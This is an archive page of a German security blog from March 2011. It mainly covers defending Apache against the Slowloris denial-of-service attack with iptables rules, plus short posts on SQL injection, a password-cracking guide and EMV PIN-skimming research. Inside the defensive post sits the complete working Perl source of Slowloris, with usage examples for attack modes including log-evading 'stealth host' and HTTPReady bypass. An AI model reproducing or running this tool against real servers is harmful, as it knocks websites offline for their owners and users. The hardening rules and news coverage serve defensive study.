Archiv für März, 2011

Bullet: SQLi illustration & explanation

SQLi illustration & explanation
Hier gibt es ein kleine Video “SQLi illustration & explanation” von insecurity.ro. Es ist doch ganz nett anzusehen, wie sich der Kerl das Ding noch per Hand zusammen schustert, wohingegen ja die meisten nur noch diverse Browser Plugins benutzen. Vielleicht kann der eine oder andere dabei noch etwas lernen:
Klicke hier um das Video anzusehen

Slowloris DoS auf Apache abwehren

Gestern - ein Thread auf HBA - ein User versucht mehr schlecht als recht zu erklären wie man das Perl Script Slowloris anwendet. Dabei kam ich auf die Idee ein Blogeintrag zu schreiben wie man einen Slowloris Angriff abwehren kann, bzw. präventive Einstellung an seinem Webserver vornehmen kann.
Slowloris ist ein DoS Script in Perl welches darauf abzielt diverse Webservertypen lahm zu legen.
Es ist eigentlich eine ziemlich einfache Geschichte, wenn man weiß wie Slowloris arbeitet. Wir gehen also in die Shell und setzten folgende 4 iptables Regeln.

iptables -A INPUT -p tcp --dport 80 -j ACCEPT

Akzeptiert(-j ACCEPT) alle TCP(-p tcp) Verbindungen über Port 80(-dport 80) zum Webserver.

 

 

iptables -A INPUT -p tcp --syn -m limit --limit 1/s --limit-burst 8 -j DROP

Dieser Regel sperrt(-j DROP) jeden Host der mehr als ein Verbindung pro Sekunde(-limit 1/s) aufbaut, wenn schon 10 Verbindungen bestehen(-limit-burst 10)

 

 

iptables -I INPUT -p tcp -m state --state NEW --dport 80 -m recent --name slowloris --set

Diese Regel gibt jeder neuen Verbindung zum Webserver den Namen/Stempel Verbindung (-name Verbindung -set)

 

 

iptables -I INPUT -p tcp -m state --state NEW --dport 80 -m recent --name slowloris --update --seconds 15 --hitcount 15 -j DROP

Verwirft alle Pakete von einem Host für 15 Sekunden, wenn mehr als 15 neue
Verbindungen mit dem Stempel “slowloris” aufgebaut wurden.

 

 

Zusätzlich kann man im Kernel den ipv4 TCP Timeout auch noch auf 15 Sekunden stellen,(default ist meistens 60):

sysctl -w net.ipv4.tcp_fin_timeout=15

 

slowloris.pl:

Open Spoiler »

#!/usr/bin/perl -w
use strict;
use IO::Socket::INET;
use IO::Socket::SSL;
use Getopt::Long;
use Config;
$SIG{'PIPE'} = 'IGNORE';    #Ignore broken pipe errors
print <<EOTEXT;
CCCCCCCCCCOOCCOOOOO888@8@8888OOOOCCOOO888888888@@@@@@@@@8@8@@@@888OOCooocccc::::
CCCCCCCCCCCCCCCOO888@888888OOOCCCOOOO888888888888@88888@@@@@@@888@8OOCCoococc:::
CCCCCCCCCCCCCCOO88@@888888OOOOOOOOOO8888888O88888888O8O8OOO8888@88@@8OOCOOOCoc::
CCCCooooooCCCO88@@8@88@888OOOOOOO88888888888OOOOOOOOOOCCCCCOOOO888@8888OOOCc::::
CooCoCoooCCCO8@88@8888888OOO888888888888888888OOOOCCCooooooooCCOOO8888888Cocooc:
ooooooCoCCC88@88888@888OO8888888888888888O8O8888OOCCCooooccccccCOOOO88@888OCoccc
ooooCCOO8O888888888@88O8OO88888OO888O8888OOOO88888OCocoococ::ccooCOO8O888888Cooo
oCCCCCCO8OOOCCCOO88@88OOOOOO8888O888OOOOOCOO88888O8OOOCooCocc:::coCOOO888888OOCC
oCCCCCOOO88OCooCO88@8OOOOOO88O888888OOCCCCoCOOO8888OOOOOOOCoc::::coCOOOO888O88OC
oCCCCOO88OOCCCCOO8@@8OOCOOOOO8888888OoocccccoCO8O8OO88OOOOOCc.:ccooCCOOOO88888OO
CCCOOOO88OOCCOOO8@888OOCCoooCOO8888Ooc::...::coOO88888O888OOo:cocooCCCCOOOOOO88O
CCCOO88888OOCOO8@@888OCcc:::cCOO888Oc..... ....cCOOOOOOOOOOOc.:cooooCCCOOOOOOOOO
OOOOOO88888OOOO8@8@8Ooc:.:...cOO8O88c.      .  .coOOO888OOOOCoooooccoCOOOOOCOOOO
OOOOO888@8@88888888Oo:. .  ...cO888Oc..          : oOOOOOOOOOCCoocooCoCoCOOOOOOOO
COOO888@88888888888Oo:.       .O8888C:  .oCOo.  ...cCCCOOOoooooocccooooooooCCCOO
CCCCOO888888O888888Oo. .o8Oo. .cO88Oo:       :. .:..ccoCCCooCooccooccccoooooCCCC
coooCCO8@88OO8O888Oo:::... ..  :cO8Oc. . .....  :.  .:ccCoooooccoooocccccooooCCC
:ccooooCO888OOOO8OOc..:...::. .co8@8Coc::..  ....  ..:cooCooooccccc::::ccooCCooC
.:::coocccoO8OOOOOOC:..::....coCO8@8OOCCOc:...  ....:ccoooocccc:::::::::cooooooC
....::::ccccoCCOOOOOCc......:oCO8@8@88OCCCoccccc::c::.:oCcc:::cccc:..::::coooooo
.......::::::::cCCCCCCoocc:cO888@8888OOOOCOOOCoocc::.:cocc::cc:::...:::coocccccc
...........:::..:coCCCCCCCO88OOOO8OOOCCooCCCooccc::::ccc::::::.......:ccocccc:co
.............::....:oCCoooooCOOCCOCCCoccococc:::::coc::::....... ...:::cccc:cooo
..... ............. .coocoooCCoco:::ccccccc:::ccc::..........  ....:::cc::::coC
.  . ...    .... ..  .:cccoCooc:..  ::cccc:::c:.. ......... ......::::c:cccco
.  .. ... ..    .. ..   ..:...:cooc::cccccc:.....  .........  .....:::::ccoocc
.   .         .. ..::cccc:.::ccoocc:. ........... ..  . ..:::.:::::::ccco
Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client
EOTEXT
my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections );
my ( $cache, $httpready, $method, $ssl, $rand, $tcpto );
my $result = GetOptions(
'shost=s'   => $shost,
'dns=s'     => $host,
'httpready' => $httpready,
'num=i'     => $connections,
'cache'     => $cache,
'port=i'    => $port,
'https'     => $ssl,
'tcpto=i'   => $tcpto,
'test'      => $test,
'timeout=i' => $timeout,
'version'   => $version,
);
if ($version) {
print "Version 0.7n";
exit;
}
unless ($host) {
print "Usage:nntperl $0 -dns [www.example.com] -optionsn";
print "ntType 'perldoc $0' for help with options.nn";
exit;
}
unless ($port) {
$port = 80;
print "Defaulting to port 80.n";
}
unless ($tcpto) {
$tcpto = 5;
print "Defaulting to a 5 second tcp connection timeout.n";
}
unless ($test) {
unless ($timeout) {
$timeout = 100;
print "Defaulting to a 100 second re-try timeout.n";
}
unless ($connections) {
$connections = 1000;
print "Defaulting to 1000 connections.n";
}
}
my $usemultithreading = 0;
if ( $Config{usethreads} ) {
print "Multithreading enabled.n";
$usemultithreading = 1;
use threads;
use threads::shared;
}
else {
print "No multithreading capabilites found!n";
print "Slowloris will be slower than normal as a result.n";
}
my $packetcount : shared     = 0;
my $failed : shared          = 0;
my $connectioncount : shared = 0;
srand() if ($cache);
if ($shost) {
$sendhost = $shost;
}
else {
$sendhost = $host;
}
if ($httpready) {
$method = "POST";
}
else {
$method = "GET";
}
if ($test) {
my @times = ( "2", "30", "90", "240", "500" );
my $totaltime = 0;
foreach (@times) {
$totaltime = $totaltime + $_;
}
$totaltime = $totaltime / 60;
print "This test could take up to $totaltime minutes.n";
my $delay   = 0;
my $working = 0;
my $sock;
if ($ssl) {
if (
$sock = new IO::Socket::SSL(
PeerAddr => "$host",
PeerPort => "$port",
Timeout  => "$tcpto",
Proto    => "tcp",
)
)
{
$working = 1;
}
}
else {
if (
$sock = new IO::Socket::INET(
PeerAddr => "$host",
PeerPort => "$port",
Timeout  => "$tcpto",
Proto    => "tcp",
)
)
{
$working = 1;
}
}
if ($working) {
if ($cache) {
$rand = "?" . int( rand(99999999999999) );
}
else {
$rand = "";
}
my $primarypayload =
"GET /$rand HTTP/1.1rn"
. "Host: $sendhostrn"
. "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)rn"
. "Content-Length: 42rn";
if ( print $sock $primarypayload ) {
print "Connection successful, now comes the waiting game...n";
}
else {
print
"That's odd - I connected but couldn't send the data to $host:$port.n";
print "Is something wrong?nDying.n";
exit;
}
}
else {
print "Uhm... I can't connect to $host:$port.n";
print "Is something wrong?nDying.n";
exit;
}
for ( my $i = 0 ; $i <= $#times ; $i++ ) {
print "Trying a $times[$i] second delay: n";
sleep( $times[$i] );
if ( print $sock "X-a: brn" ) {
print "tWorked.n";
$delay = $times[$i];
}
else {
if ( $SIG{__WARN__} ) {
$delay = $times[ $i - 1 ];
last;
}
print "tFailed after $times[$i] seconds.n";
}
}
if ( print $sock "Connection: Closernrn" ) {
print "Okay that's enough time. Slowloris closed the socket.n";
print "Use $delay seconds for -timeout.n";
exit;
}
else {
print "Remote server closed socket.n";
print "Use $delay seconds for -timeout.n";
exit;
}
if ( $delay < 166 ) {
print <<EOSUCKS2BU;
Since the timeout ended up being so small ($delay seconds) and it generally
takes between 200-500 threads for most servers and assuming any latency at
all...  you might have trouble using Slowloris against this target.  You can
tweak the -timeout flag down to less than 10 seconds but it still may not
build the sockets in time.
EOSUCKS2BU
}
}
else {
print
"Connecting to $host:$port every $timeout seconds with $connections sockets:n";
if ($usemultithreading) {
domultithreading($connections);
}
else {
doconnections( $connections, $usemultithreading );
}
}
sub doconnections {
my ( $num, $usemultithreading ) = @_;
my ( @first, @sock, @working );
my $failedconnections = 0;
$working[$_] = 0 foreach ( 1 .. $num );    #initializing
$first[$_]   = 0 foreach ( 1 .. $num );    #initializing
while (1) {
$failedconnections = 0;
print "ttBuilding sockets.n";
foreach my $z ( 1 .. $num ) {
if ( $working[$z] == 0 ) {
if ($ssl) {
if (
$sock[$z] = new IO::Socket::SSL(
PeerAddr => "$host",
PeerPort => "$port",
Timeout  => "$tcpto",
Proto    => "tcp",
)
)
{
$working[$z] = 1;
}
else {
$working[$z] = 0;
}
}
else {
if (
$sock[$z] = new IO::Socket::INET(
PeerAddr => "$host",
PeerPort => "$port",
Timeout  => "$tcpto",
Proto    => "tcp",
)
)
{
$working[$z] = 1;
$packetcount = $packetcount + 3;  #SYN, SYN+ACK, ACK
}
else {
$working[$z] = 0;
}
}
if ( $working[$z] == 1 ) {
if ($cache) {
$rand = "?" . int( rand(99999999999999) );
}
else {
$rand = "";
}
my $primarypayload =
"$method /$rand HTTP/1.1rn"
. "Host: $sendhostrn"
. "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)rn"
. "Content-Length: 42rn";
my $handle = $sock[$z];
if ($handle) {
print $handle "$primarypayload";
if ( $SIG{__WARN__} ) {
$working[$z] = 0;
close $handle;
$failed++;
$failedconnections++;
}
else {
$packetcount++;
$working[$z] = 1;
}
}
else {
$working[$z] = 0;
$failed++;
$failedconnections++;
}
}
else {
$working[$z] = 0;
$failed++;
$failedconnections++;
}
}
}
print "ttSending data.n";
foreach my $z ( 1 .. $num ) {
if ( $working[$z] == 1 ) {
if ( $sock[$z] ) {
my $handle = $sock[$z];
if ( print $handle "X-a: brn" ) {
$working[$z] = 1;
$packetcount++;
}
else {
$working[$z] = 0;
#debugging info
$failed++;
$failedconnections++;
}
}
else {
$working[$z] = 0;
#debugging info
$failed++;
$failedconnections++;
}
}
}
print
"Current stats:tSlowloris has now sent $packetcount packets successfully.nThis thread now sleeping for $timeout seconds...nn";
sleep($timeout);
}
}
sub domultithreading {
my ($num) = @_;
my @thrs;
my $i                    = 0;
my $connectionsperthread = 50;
while ( $i < $num ) {
$thrs[$i] =
threads->create( &doconnections, $connectionsperthread, 1 );
$i += $connectionsperthread;
}
my @threadslist = threads->list();
while ( $#threadslist > 0 ) {
$failed = 0;
}
}
__END__
=head1 TITLE
Slowloris
=head1 VERSION
Version 0.7 Beta
=head1 DATE
06/17/2009
=head1 AUTHOR
RSnake <[email protected]> with threading from John Kinsella
=head1 ABSTRACT
Slowloris both helps identify the timeout windows of a HTTP server or Proxy server, can bypass httpready protection and ultimately performs a fairly low bandwidth denial of service.  It has the added benefit of allowing the server to come back at any time (once the program is killed), and not spamming the logs excessively.  It also keeps the load nice and low on the target server, so other vital processes don't die unexpectedly, or cause alarm to anyone who is logged into the server for other reasons.
=head1 AFFECTS
Apache 1.x, Apache 2.x, dhttpd, GoAhead WebServer, others...?
=head1 NOT AFFECTED
IIS6.0, IIS7.0, lighttpd, nginx, Cherokee, Squid, others...?
=head1 DESCRIPTION
Slowloris is designed so that a single machine (probably a Linux/UNIX machine since Windows appears to limit how many sockets you can have open at any given time) can easily tie up a typical web server or proxy server by locking up all of it's threads as they patiently wait for more data.  Some servers may have a smaller tolerance for timeouts than others, but Slowloris can compensate for that by customizing the timeouts.  There is an added function to help you get started with finding the right sized timeouts as well.
As a side note, Slowloris does not consume a lot of resources so modern operating systems don't have a need to start shutting down sockets when they come under attack, which actually in turn makes Slowloris better than a typical flooder in certain circumstances.  Think of Slowloris as the HTTP equivalent of a SYN flood.
=head2 Testing
If the timeouts are completely unknown, Slowloris comes with a mode to help you get started in your testing:
=head3 Testing Example:
./slowloris.pl -dns www.example.com -port 80 -test
This won't give you a perfect number, but it should give you a pretty good guess as to where to shoot for.  If you really must know the exact number, you may want to mess with the @times array (although I wouldn't suggest that unless you know what you're doing).
=head2 HTTP DoS
Once you find a timeout window, you can tune Slowloris to use certain timeout windows.  For instance, if you know that the server has a timeout of 3000 seconds, but the the connection is fairly latent you may want to make the timeout window 2000 seconds and increase the TCP timeout to 5 seconds.  The following example uses 500 sockets.  Most average Apache servers, for instance, tend to fall down between 400-600 sockets with a default configuration.  Some are less than 300.  The smaller the timeout the faster you will consume all the available resources as other sockets that are in use become available - this would be solved by threading, but that's for a future revision.  The closer you can get to the exact number of sockets, the better, because that will reduce the amount of tries (and associated bandwidth) that Slowloris will make to be successful.  Slowloris has no way to identify if it's successful or not though.
=head3 HTTP DoS Example:
./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5
=head2 HTTPReady Bypass
HTTPReady only follows certain rules so with a switch Slowloris can bypass HTTPReady by sending the attack as a POST verses a GET or HEAD request with the -httpready switch.
=head3 HTTPReady Bypass Example
./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5 -httpready
=head2 Stealth Host DoS
If you know the server has multiple webservers running on it in virtual hosts, you can send the attack to a seperate virtual host using the -shost variable.  This way the logs that are created will go to a different virtual host log file, but only if they are kept separately.
=head3 Stealth Host DoS Example:
./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -tcpto 1 -shost www.virtualhost.com
=head2 HTTPS DoS
Slowloris does support SSL/TLS on an experimental basis with the -https switch.  The usefulness of this particular option has not been thoroughly tested, and in fact has not proved to be particularly effective in the very few tests I performed during the early phases of development.  Your mileage may vary.
=head3 HTTPS DoS Example:
./slowloris.pl -dns www.example.com -port 443 -timeout 30 -num 500 -https
=head2 HTTP Cache
Slowloris does support cache avoidance on an experimental basis with the -cache switch.  Some caching servers may look at the request path part of the header, but by sending different requests each time you can abuse more resources.  The usefulness of this particular option has not been thoroughly tested.  Your mileage may vary.
=head3 HTTP Cache Example:
./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -cache
=head1 Issues
Slowloris is known to not work on several servers found in the NOT AFFECTED section above and through Netscalar devices, in it's current incarnation.  They may be ways around this, but not in this version at this time.  Most likely most anti-DDoS and load balancers won't be thwarted by Slowloris, unless Slowloris is extremely distrubted, although only Netscalar has been tested.
Slowloris isn't completely quiet either, because it can't be.  Firstly, it does send out quite a few packets (although far far less than a typical GET request flooder).  So it's not invisible if the traffic to the site is typically fairly low.  On higher traffic sites it will unlikely that it is noticed in the log files - although you may have trouble taking down a larger site with just one machine, depending on their architecture.
For some reason Slowloris works way better if run from a *Nix box than from Windows.  I would guess that it's probably to do with the fact that Windows limits the amount of open sockets you can have at once to a fairly small number.  If you find that you can't open any more ports than ~130 or so on any server you test - you're probably running into this "feature" of modern operating systems.  Either way, this program seems to work best if run from FreeBSD.
Once you stop the DoS all the sockets will naturally close with a flurry of RST and FIN packets, at which time the web server or proxy server will write to it's logs with a lot of 400 (Bad Request) errors.  So while the sockets remain open, you won't be in the logs, but once the sockets close you'll have quite a few entries all lined up next to one another.  You will probably be easy to find if anyone is looking at their logs at that point - although the DoS will be over by that point too.
=head1 What is a slow loris?
What exactly is a slow loris?  It's an extremely cute but endangered mammal that happens to also be poisonous.  Check this out:

 

P.S.: Diese Einstellungen sollten nicht leichtfertig gesetzt werden, und auch nur dann, wenn man weiß was dahinter steckt. Auch ist es möglich das die gleichen Settings auf verschiedenen Server unterschiedliche Ergebnisse liefern. Die Werte sind Richtwerte nach denen man sich orientieren kann. Außerdem kann es mit diesen Settings zu diversen Problemen mit aggresiven Crawlern kommen.

 

 

 

Neues Betriebssystem

Moin.

ich hatte Samstag Abend nichts vor, und da kam ich auf die Idee mal den Ubuntuserver ausprobieren. Gesagt getan. Erstmal hab ich mir ein Backup von der MySQL Datenbank nach hause gezogen, und dann über das Strato Panel ein komplettes Server Backup auf einen FTP. Nach kurzen Startschwierigkeiten mit WordPress(man sollte das WP-Installationsscript immer vor dem Import der Datenbank starten*g*) lief dann alles wieder tadellos. Schnell noch Plesk abgeschaltet und alles war super.

Als Webserver wollt ich eigentlich Lighttp nutzen, bin dann aber doch wieder auf den vertrauten Apache zurück. Ich weiß nicht, Apache hat es mir einfach angetan, auch wenn lighttp für so einen kleinen Blog wohl besser geeignet wäre.

Naja, dann machs mal gut,

greetz, CCiTT

Bullet: New Doc

Als Administrator hat man es manchmal schwer. Man setzt tausende Passwörter, da kommt es gerne auch mal vor das ein wichtiges Passwort in Vergessenheit gerät.
Cracking Password Guide 1.1

Achtung: PIN Skimming!

Vier Sicherheitsforscher haben auf der vergangene Woche stattgefundenen CanSecWest-Sicherheitskonferenz die Praktikabliität von Skimming bei Chipkarten demonstriert – und das sowohl für eine unsichere Klasse von Chips (SDA) als auch für eine als sicherer geltende Klasse (DDA). Die beim EMV-Verfahren mit Chip ausgestatteten EC- und Kreditkarten sollen das Skimming, also das Abfangen von Kartendaten und PIN erschweren.
Skimming-Angriffe auf Chipkarten sind nicht grundsätzlich neu und lassen sich prinzipiell auch etwa über Tastaturaufsätze realisieren. Die vier Forscher beschreiben in ihrer Präsentation “Credit Card skimming and PIN harvesting in an EMV world” (PDF) jedoch, wie sich die Kommunikation zwischen Terminal und Chip durch eine flache Platine im Kartenschlitz belauschen und manipulieren lässt, um an eine PIN zu gelangen. Ein Platine ist erheblich unauffälliger als ein wackelig aufgeklebter Aufsatz.

Klein, flach, unauffällig: Der EMV-Skimmer soll in Kartenschlitzen von Terminals nicht weiter auffallen. Der Trick der Forscher Andrea Barisani und Daniele Bianco von Inversepath sowie Adam Laurie und Zac Franken von Aperturelabs bestand nun darin, dem Terminal eine Liste unterstützter Verifikationsmethoden (CVM List) der Karte zu signalisieren, bei der auch die Übertragung der PIN an die Karte zu Prüfung im Klartext erlaubt ist (Plaintext PIN verification performed by ICC). Zwar wird die PIN an die Karte nur im Offline-Modus eines Terminals übertragen – im Online-Mode schickt das Terminal die PIN zur Prüfung in die Zentrale – durch die Manipulation der Kommunikation zwischen Karte und Terminal schafften sie es jedoch, immer eine Offline-Verifikation mit Klartextübertragung zu erzwingen. Und mit der Platine im Schlitz ließ sich die PIN mitlesen.

Dabei ist es offenbar unerheblich, ob die Karte einen billigen Chip ohne eigene Kryptografiefunktion (SDA) oder einen teuren, bislang als sicher geltenden Chip mit Dynamic Data Authentication (DDA) enthält. Um die abgefangene PIN jedoch benutzen zu können, muss der Skimmer entweder die Karte vom Kunden stehlen oder zusätzlich den Magnetstreifen auslesen und damit eine geklonte Karte herstellen. Letzteres funktioniert jedoch nur bei Karten, die nicht mit einem sogenannten iCVV-Code geschützt sind, einem Merkmal, das dem Herausgeber den missbräuchliche Einsatz des Magnetstreifens signalisiert.

Daniele Bianco erklärte: “Das eigentliche Problem bei EMV ist, dass durch die scheinbare Sicherheit des Verfahrens die Beweislast auf den Kunden abgewälzt wird. Es wird ihm unterstellt, dass er fahrlässig mit seiner PIN umgegangen ist.“ Betroffen sind nach Binacos Ansicht alle EMV-Installationen, also auch die in Deutschland. “Das Problem liegt in der Protokollspezifikation. Dadurch lässt sich diese Lücke auch nicht leicht schließen.“

 

Dass es dort grundsätzlich Probleme gibt, wissen Hersteller und Banken eigentlich seit über fünf Jahren. Damals beschrieben Wissenschaftler der Cambridge Universität bereits einen Skimming-Angriff auf SDA-Karten. Seitdem hat sich wenig getan. Vor rund einem Jahr zeigten dieselben britische Forscher einen Weg, mit dem sich das EMV-Verfahren bei EC- und Kreditkarten aushebeln lässt, sodass Karten scheinbar beliebige PINs akzeptieren. Diese Manipulation ließ sich allerdings im Nachhinein aufdecken. (Marc Heuse - heise)

Das ePaper gibt es hier: PIN Skimming

Es ist Fassssenacht

Helau und Alaf, lasst es euch gut gehen und hackt euch die Birne ordentlich zu

S3RB31 ist Skifahren

Sodala Leutz,

ich bin weg, in den Alpen, auf meinen Zehennägeln den Hang runterbrettern.

Eigentlich nichts interessantes, allerdings wollte ich euch bescheid geben, dass die Steam-Artikel erst in einer Woche fortgesetzt werden, also, nicht vergessen dass ihr die noch lesen wolltet.

So long,

S3RB31

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